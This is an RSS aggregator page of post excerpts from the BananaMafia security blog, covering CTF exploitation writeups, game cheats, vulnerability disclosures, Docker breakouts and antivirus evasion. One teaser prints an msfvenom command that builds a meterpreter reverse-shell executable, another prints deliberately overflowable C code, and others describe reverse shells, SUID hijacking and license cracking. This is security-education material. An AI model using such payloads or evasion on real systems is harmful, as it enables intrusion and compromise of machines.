RSSAmplifier

Blog

BananaMafia

Recent content on BananaMafia

bananamafia.devRSS feed ↗72 posts

Latest posts

Game Hacking #6: Cheating on Console with Lua

Cheating in PS2 Games with Lua 
 After jailbreaking my PS4, I searched for a way to play some PS2 games on it. Since HDMI ports are not available on stock PS2s, the obvious solution would be to emulate the games on a PS4. 
 Years ago, the PS4 homebrew community already found ways to emulate many PS2 games on the console. The main method involves an emulator that was originally developed…

37C3 CTF: ezrop


 
 
 
 This is a writeup for the 37C3 CTF challenge ezrop with the following description: Pretty standard ret2libc pwn challenge. . A binary with partial RELRO, no PIC and no canary was given, along with the libc that’s deployed on the target server. This writeup shows how to solve the challenge using r2 and pwntools-r2 . 
 Triggering the buffer overflow vulnerability is…

BinaryGolf 2023: Building A GameBoy-Bash Polyglot

In the BinaryGolf competition, specific file related problems have to be solved with the least amount of bytes. This was the challenge for the 2023 edition: 
 
 
 
 Me and some other guy decided to go for a GameBoy ROM with an embedded bash script, since old file formats like game ROMs are quite interesting. In the end, we came up with such a polyglot file that met all criteria of…

ShhPlunk: Muting the Splunk Forwarder

Many organizations rely on Splunk and its Splunk Forwarder to deliver event data as a sole source of telemetry. For quite some time, I’ve wondered if it’s possible to mute the Splunk Forwarder’s splunkd process, so that no event data reaches the respective endpoint. Technically, this should be possible, once the required privileges are granted on a system. Therefore, I’ve…

Game Hacking #5: Hacking Walls and Particles

Hello fellow Wallhackers, NoSmokers and Copy-Pasters. Today, I’ll write about implementing several cool cheat features for your favorite game, CS:GO. There may be many articles like this, but this one is mine :) 
 First, of all I recommend checking out my previous posts covering several aspects and internals of CS:GO before reading this. I’ve got posts about Aimbots and NoFlash ,…

Reinschauer: Remotely Controlling Windows Machines

Recently, I did some research on Hidden VNCs ( HVNC ). This is a neat feature for attackers to have, since it allows to remotely control a compromised system on a new and separate virtual desktop that is not visible to the victim. This way, it is possible to remotely launch and use GUI programs without generating any visual indicators for victims. 
 Implementing HVNC is complicated. First of…

Game Hacking #4: Cheating in Unity Games

Yo! 
 Do you know the game Among Us ? It’s a multiplayer game where you have to identify impostors in a group of players. The impostor’s goal is to kill every other player without being identified throughout the game. The remaining players can use votes to kick out a specific player, while hopefully identifying the impostor correctly. 
 The game is based on the Unity engine…

This Weird YouTube Trick

A while ago, I’ve found an article on Hackaday , describing how to stream arbitrary YouTube videos to Sonos systems. Before you ask: No, that’s not possible normally, at least not without a premium subscription. 
 In the original article called How I hacked SONOS and YouTube the same day (lol?????), the author described an approach to grab audio streams from YouTube and to convert…

Advanced Painless Tofu – APT


 
 
 
 Props to kawaiicon for the illustrations. 


Analysis of Satisfyer Toys: Discovering an Authentication Bypass with r2 and Frida

There’s no good way to start a blog post like this, so let’s dive right in: 
 Recently, I’ve re-discovered the butthax talk which covered security aspects of Lovense devices. I’ve felt so inspired, that I’ve decided to buy some Satisfyer devices and check out how they work. 
 These are app-controllable toys that are sold globally, first and foremost in Germany…

Command Injection in LaTeX Workshop

Welcome to another round of Banana tweets and unintentionally makes people mad . 
 I’ve had a look at some VS Code extensions that make use of shell commands with the goal to find a command injection vulnerability. For this, I’ve grepped for child_process , since this is a NodeJS API that’s commonly used to execute shell commands in VS Code. 
 I’ve quickly found…

Haxxoring a Hisense Smart TV

Instead of watching The Bachelor , I’ve decided to take a look at the security of my Hisense smart TV. I’ve found a way to read arbitrary files from the file system. Also, (over)writing specific files, as well as installing malicious HTML5 applications was found to be possible. All of that can be performed from the web browser, using the custom JavaScript API that was implemented by…

Building a Cloudless UniFi Security System That Doesn't Suck

If you’re like me (rich), it’s likely that you want to monitor and protect your ice and gold chainz with technical measures. Since cloud based solutions are not an option for me, I’ve built a system that’s self-hosted. It’s based on my existing UniFi network setup, a UniFi camera and this software: 
 
 UniFi Controller: This is used to manage all UniFi devices…

Does This Syncthing Work?

OK, so syncthing is cool for automatic synchronization and backups and all of that stuff. But there are also times when you open the web UI and notice that no data transfer has happened within the last two months. Nice! 
 This is often caused by faulty run conditions that can be set in the app or network errors. The syncthing server may also have some trouble, too. I’ve decided to create…

Game Hacking #3: Hooking Direct3D EndScene()

I’ve experimented with even moar game hacking and hooking techniques and you didn’t, so here comes another blog post. 
 Today’s topic is about hooking a specific function of the Direct3D library with the goal to cause Counter Strike: Global Offensive to draw additional things on the screen. There can be various reasons to do this: 
 
 It’s possible to draw a…

SROP Exploitation with radare2

Recently I’ve discovered a paper that demonstrates a fancy ROP-style exploitation technique for Linux based systems. It’s called Sigreturn-oriented programming (SROP) and was released by two dudes of the Vrije Universiteit Amsterdam in 2014. This post contains background information on this exploitation technique and shows how to pull it off using radare2 and pwntools . 
…

MemLabs: An Introduction To Memory Forensics

Since you’re all isolated, grumpy and bored I’ve decided to create a little introduction to memory forensics. The test subject is the first stage of MemLabs , a set of CTF challenges focused on memory forensics by @_abhiramkumar . Each stage has its own memory dump that was taken from a live system using a tool like DumpIt . The goal for the first stage of MemLabs is to obtain all…

Fuzzing A GameBoy Emulator With AFL++

Recently I’ve started a little fuzzing project. After doing some research , I’ve decided to fuzz a gaming emulator. The target of choice is a GameBoy and GameBoy Advance emulator called VisualBoyAdvance-M , which is also called VBA-M. At the time of writing the emulator was still being maintained. VBA-M seems to be a fork of VisualBoyAdvance , for which development seems to have…

Exploiting A Use-After-Free With radare2 - CTF Challenge

This writeup is about a 36C3 junior CTF challenge called minifd which can be found here . The goal is to find and exploit a user-after-free vulnerability in order to spawn a shell on the remote system. Here’s the challenge description: 
 This is a simple file manager implementation supporting basic functionality to create, read, and write files. 
 Please note: This is a prototype…

36C3 CTF Writeups


 1337 skills 
 Task description: 
 It’s too hard to gain all 1337 h4x0r skills required by nowadays CTFs ._.! 
 I am glad a friendly hacker told me about an App he got during a (growth) hacking course. 
 Sadly, he didn’t wrote down any activations codes. 
 Ready for your hacking exam? 
 
 As can be read above, an Android app was given at the beginning of the…

Open Redirects In State Parameters

Now that the deadline to fix this vulnerability has passed, I’ve decided to publish this blog post that covers a web vulnerability I’ve found in the login mechanism of a particular company. 
 Everything started when I had a look at a more complex part of a public web application of this vendor. The web application that gives out a link to the user that can be used to open up the…

ROP on ARM with radare2

Exploit development on ARM with radare2 seems like a great idea until you start searching for resources, searching for a nice and automated debugging setup. Here’s what I’ve found: 
 nothing 
 Cool. That’s the reason why this post covers the setup I came up with, as well as basics for ROP on the ARM architecture. The exploit target is stack6 from Azeria Labs and radare2…

In-Process Fuzzing With Frida

In a previous post I’ve already covered Frida and its instrumentation abilities. But check this out: You can also use Frida to perform fuzzing. What’s even greater is that Frida allows in-process fuzzing. 
 Why would you want to do this? There may be various reasons, but the most outstanding one for me is building a fuzzing harness for closed source applications and libraries. Just…

How I Over-Engineered My Dotfiles

You want to customize your Linux dotfiles, whether you already know it
or not. After investing way too much time into this, I’ve decided to share some
results and tricks in this blog post. 
 General Structure 
 The first thing to do is to create a general structure for your dotfiles and
all associated files and scripts. I came up with this structure: 
…

How Not To Suck At r2wars

As every year at r2con , the r2wars competition was hosted by sanguinawer and the r2 overlord pancake . I’ve made it to the second place in this year’s battles, so I’ve promised to create a writeup for my participation – and here it is. Welcome to the nerdiest game in town. 
 Lol What’s r2wars Again? 
 The r2wars competition is based on radare2 ’s ESIL…

Dynamic Instrumentation: Frida And r2frida For Noobs

One of my main takeaways from this year’s r2con is that Frida is cool and that r2frida , the integration with radare2 , is even cooler. Using this, it’s possible to pair the benefits of dynamic instrumentation of Frida with the analysis features and workflow of radare2 . This is a small tutorial to get started with both Frida and r2frida that’s based on the r2xor challenge of the…

r2con 2019 CTF Writeups

r2boy1 
 The first GameBoy challenge was rather easy. The idea was to talk to the Pancake character in-game in order to get the flag. The problem is that Pancake chills behind a wall. One possible solution was to glitch through the wall, however I’ve solved this using static analysis. 
 Going through the strings and searching for a possible dialog yields interesting strings: 
…

ROP On x64: What's ret2csu Again?

Based on the Stop, ROP, n’, Roll challenge from this year’s Redpwn CTF, this post will explain how to make system calls on x64 using ROP in order to spawn a shell. Also, it shows how to abuse writable memory regions of a process to overcome difficulties with some ROP gadgets. And the best thing is, two of the gadgets used in this writeup are universal and most likely also present in…

Reversing .NET Applications: CCCamp19 CTF CampRE Challenge

Finally a nice .NET CTF challenge - time to pull out dnSpy :) 
 The provided ZIP includes a CampRE.dll file which, according to the challenge description, is a .NET Core application. Time to boot a Windows VM and install the .NET Core runtime environment. 
 After decompiling the dll , this source code can be inspected: 
 private static void Main( string [] args)
 {
 byte []…

Exploiting PHP Deserialization: CCCamp19 CTF PDFCreator Challenge

Deserialization is a vulnerability class that’s often overlooked. It’s great that this year’s CCCamp CTF included an interesting web based challenge that is based on this vulnerability class. 
 The Target 
 The challenge includes a link to a web service that allows converting user-supplied images into PDF files. Users can upload image files, add some additional HTML…

ROP It Like It's Hot: ROP Basics - Stack Pivoting

Let’s check out Return Oriented Programming (ROP) with the pivot32 challenge from ROP Emporium by using radare2 . The pivot32 binary is compiled without stack canaries and PIE but has NX enabled. 
 Basics 
 The general principle behind ROP is that: 
 […] an attacker gains control of the call stack to hijack program control flow and then executes carefully chosen machine…

CryptoCTF 2019 Writeup: Decode Me

This is short writeup on the Decode Me challenge of the first CryptoCTF. 
 The following string has to be decoded into a flag somehow: 
 D: mb xwhvxw mlnX 4X6AhPLAR4eupSRJ6FLt8AgE6JsLdBRxq57L8IeMyBRHp6IGsmgFIB5E :ztey xam lb lbaH
 The first thing that comes to mind is that some sort of substitution cipher was being used in the first place. A cipher of this kind is the Caesar cipher…

Brute-Forcing x86 Stack Canaries

And now for something more CTF-y: Dealing with stack canaries by brute-forcing their value byte by byte. &#xA; How Stack Canaries Work &#xA; If you&rsquo;ve ever read the error message *** stack smashing detected ***: <...> terminated , you&rsquo;ve already encountered stack canaries in action. They are being used to detect and stop buffer overflows by placing a per-process randomized value…

r2con 2019 PwnDebian Challenge: Exploiting radare2 (CVE-2019-14745, CVE-2019-16718)

Hello hello! &#xA; Everyone knows: This years r2con, the conference about radare2 , has a very special challenge &ndash; PwnDebian: &#xA; &#xA; The almighty blenk92 and me decided to assist the radare2 project in finding such an exploit an we think we were quite successful :) &#xA; But first some basics for r2 . &#xA; Shelling Out Via The r2 Shell &#xA; While running r2 , it&rsquo;s possible to…

Buffer Overflows on x64 with radare2

The approach to exploit buffer overflows on x64 is a bit different that on x86. This post demonstrates this using the split challenge of ROP Emporium while making use of radare2 . &#xA; RIP & Canonical Addresses &#xA; The first thing one notices when trying to gain control over the instruction pointer is that only values of a specific range are allowed to be loaded into the RIP register. On x86…

Game Hacking #2: Coding A CS:GO Hack

This post covers creating a hack for the game Counter Strike: Global Offensive. The hack I&rsquo;ve developed works in combination with the Linux version of the game - coding a windows-based hack can however be done with the same methodology and tools. &#xA; These are the features I&rsquo;ve integrated into the hack: &#xA; &#xA; Bunnyhop Bot: Do jumps as soon as the player hits the ground to make…

Bypassing ASLR and DEP for 32-Bit Binaries With r2

This post covers basic basics of bypassing ASLR and DEP with r2 . For this, a vulnerable application, yolo.c , is required: &#xA; #include <stdio.h>&#xA;#include <stdlib.h>&#xA;#include <string.h>&#xA;&#xA;void lol(char *b)&#xA;{&#xA; char buffer[1337];&#xA; strcpy(buffer, b);&#xA;}&#xA;&#xA;int main(int argc, char **argv)&#xA;{&#xA; lol(argv[1]);&#xA;}&#xA; 64-Bit vs 32-Bit Binaries &#xA; The…

Information Leak in Docker

During an assessment of the Docker platform in November 2018, two information leaks regarding the /proc/asound path were discovered in the OCI (Open Container Initiative) specification. These issues have been fixed quickly by the Docker security team using the provided suggestions. &#xA; Leak of audio device status of the host &#xA; When media is being played on the host, the &#xA;…

Passing binary input via GDB

When trying to exploit an application it&rsquo;s useful to send the input via gdb to immediately check how the input is being processed. But once the gdb is open it&rsquo;s sometimes not clear how to pass binary input to applications reading from stdin, e.g. using read . An easy way is to start the debugging session with gdb ./binary and using &#xA; run < <(printf '\xAA\xAA\xAA')&#xA; from the gdb…

Car Hacking: A Short Overview

Ever wondered about the various techniques that can be applied to hack modern cars? This post documents various ways to do so - you can use it as a cheatsheet &#xA; Software &#xA; There are multiple ways one can interface with the software stack of a car. The easiest one is to use USB-to-Ethernet adapters in order to attach to the network of the car. It&rsquo;s important to use special adapters…

Game Hacking #1: Developing Hacks for idTech3 Based Games

The idTech3 game engine is most known for being used in games like Quake III Arena , Wolfenstein: ET and Star Wars: Jedi Knight - Jedi Academy . Sometimes people just simply refer to this engine as the Quake3 engine . This post teaches you how to create hacks for games that are based on this game engine. The target of choice is the game Jedi Academy , which was released in 2003. Oldschool, I know…

Game Hacking #0: Runtime Function Patching

When it comes to patching certain functions of a binary on ASM level, it&rsquo;s often performed by modifying the binary itself. This post shows a different approach to accomplish the same thing: Removing game cheat protections using runtime function patching. &#xA; The Target &#xA; This is being shown in the following context: Quake3 based multiplayer games include certain settings (CVars) which…

Backup Google Authenticator Data

Using 2 factor authentication generally is a good idea. However, losing 2 factor data can be the opposite. If you&rsquo;re using Google Authenticator to generate 2FA codes, you may have wondered how to backup the data the app uses to generate codes. The method described here requires root access of course but doesn&rsquo;t require a third party app. Please note that you can always use apps that…

Docker Breakout Using X11

Use Docker to run GUI applications they said. &#xA; Mount the X11 socket they said. &#xA; Allow other users to access your X session they said. &#xA; This post covers Docker container breakouts by abusing bad security practices related to the X11 socket. &#xA; The problem &#xA; To display windows spawned through a Docker container, people often launch containers following these steps: &#xA; &#xA;…

Methods to Upgrade nc Reverse Shells

Ended up with a cheap nc shell and want to upgrade to a &ldquo;real&rdquo; shell with a proper TTY and navigation? &#xA; Say no more <: &#xA; 1. Upgrading using shell magic &#xA; This doesn&rsquo;t always work - however if Python is present on the victims machine, it&rsquo;s worth a try. &#xA; &#xA; Use bash on the attacker machine, zsh doesn&rsquo;t seem to work. &#xA; Get the nc shell. &#xA; In…

2 Common Python Security Issues

tl;dr &#xA; Be aware that imports can be hijacked for Python2 and Python3 - take care of EUIDs. &#xA; Don&rsquo;t use input() for Python2.x. &#xA; Module Hijacking &#xA; When assigning SUID bits to Python scripts, privileges can be escalated easily. Consider the following Python source code: &#xA; #!/usr/bin/python2.7&#xA;# -*- coding: utf-8 -*-&#xA;&#xA;import hashlib&#xA;&#xA;value =…

Cracking Music Server Software

tl;dr &#xA; Generating licenses using MD5(email) is bad. &#xA; Validating licenses using HTTP in plain text is bad. &#xA; The Software &#xA; This post covers reverse engineering and cracking the license validation process of a popular and closed source self hosted music server application. The developer has been notified about the findings, however no reply has been received. The validation issues…

Easy Remote Pair Programming Using Docker and Tmux

Recently I&rsquo;ve created a small docker container to perform remote pair programming. Shared shell sessions are an easy way to remotely interact with coworkers or other people. With additional docker magic you now don&rsquo;t even have to give them access to your host system - they will be contained just like you and the work that&rsquo;s being done. Using my docker image, it&rsquo;s possible…

Using the GitHub API to improve Dockerfiles

When writing Dockerfiles, people often use something like this to download and install software from GitHub: &#xA; ENV SOFTWARE_VERSION 1.33.7&#xA;RUN curl -sSL \&#xA; https://github.com/user/repo/releases/download/${SOFTWARE_VERSION}/amd64.deb&#xA; This can be optimized so that always the newest version gets used, which also simplifies maintaining the Dockerfile because updating happens…

A Quick Survey on Anti-Anti-Viruses

tl;dr &#xA; AVs can easily be bypassed using malware AES crypters like Crypt0r : &#xA; &#xA; Open Source Evasion Techniques &#xA; All of the following results are based on a meterpreter file which was generated like this: &#xA; msfvenom&#xA; -p windows/meterpreter/reverse_tcp&#xA; --platform windows&#xA; -f exe&#xA; LHOST=192.168.1.1&#xA; LPORT=1337&#xA; -o meter.exe&#xA; All scans are performed…

BananaMafia · RSS Amplifier